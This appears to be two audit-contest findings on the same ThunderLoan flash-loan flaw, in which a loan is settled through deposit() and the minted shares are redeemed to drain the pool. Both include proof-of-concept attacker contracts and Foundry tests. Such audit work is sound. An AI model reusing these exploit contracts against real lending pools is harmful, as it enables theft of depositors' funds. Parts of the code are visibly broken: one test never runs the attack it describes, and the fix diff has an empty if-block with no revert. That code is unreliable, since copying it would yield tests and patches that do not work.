Normal behavior: A borrower calls flashloan(), uses the funds within the callback, and must return amount + fee to the AssetToken by calling repay() before flashloan() returns.
Issue: flashloan() validates settlement with a single balance comparison and never requires the funds to arrive through repay(). Because deposit() sends the underlying to the same AssetToken address and additionally mints LP shares to the caller, a borrower can "repay" with deposit(): the balance check passes, the attacker receives AssetToken shares backed by the borrowed money, and after the loan returns they call redeem() to withdraw honest LPs' funds.
solidity
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
...
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // only checks the balance, not HOW it was restored
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / assetToken.getExchangeRate();
@> assetToken.mint(msg.sender, mintAmount); // deposit mints LP shares to the caller
...
@> token.safeTransferFrom(msg.sender, address(assetToken), amount); // AND restores the balance
}
Likelihood: High
Occurs on any call to flashloan() whose receiver settles via deposit() instead of repay().
Requires no privileges and no special market conditions — only a contract implementing executeOperation.
Impact: High
Direct, permanent theft of all pooled liquidity by an unprivileged attacker.
Honest liquidity providers lose their principal.
Add this test file and run forge test --match-contract PoC_DepositOverRepay -vv. The attacker funds only the 0.3 fee, borrows 100, settles via deposit(), then redeem()s — ending with 100.33 tokens (≈100 stolen from the pool).
solidity
contract DepositOverRepay {
ThunderLoan thunderLoan; AssetToken assetToken; IERC20 s_token;
constructor(address _tl){ thunderLoan = ThunderLoan(_tl); }
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
s_token = IERC20(token);
assetToken = thunderLoan.getAssetFromToken(IERC20(token));
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee); // settle via deposit, not repay
return true;
}
function redeem() external { thunderLoan.redeem(s_token, assetToken.balanceOf(address(this))); }
}
function test_DepositInsteadOfRepay_StealsFunds() public {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
tokenA.mint(address(0x1111), 1000e18);
vm.startPrank(address(0x1111));
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(tokenA, 1000e18);
vm.stopPrank();
}
Reject deposits for a token that is mid-flash-loan, so a loan can only be settled through repay():
diff
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
if (s_currentlyFlashLoaning[token]) {
}
AssetToken assetToken = s_tokenToAssetToken[token];
...
}
## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.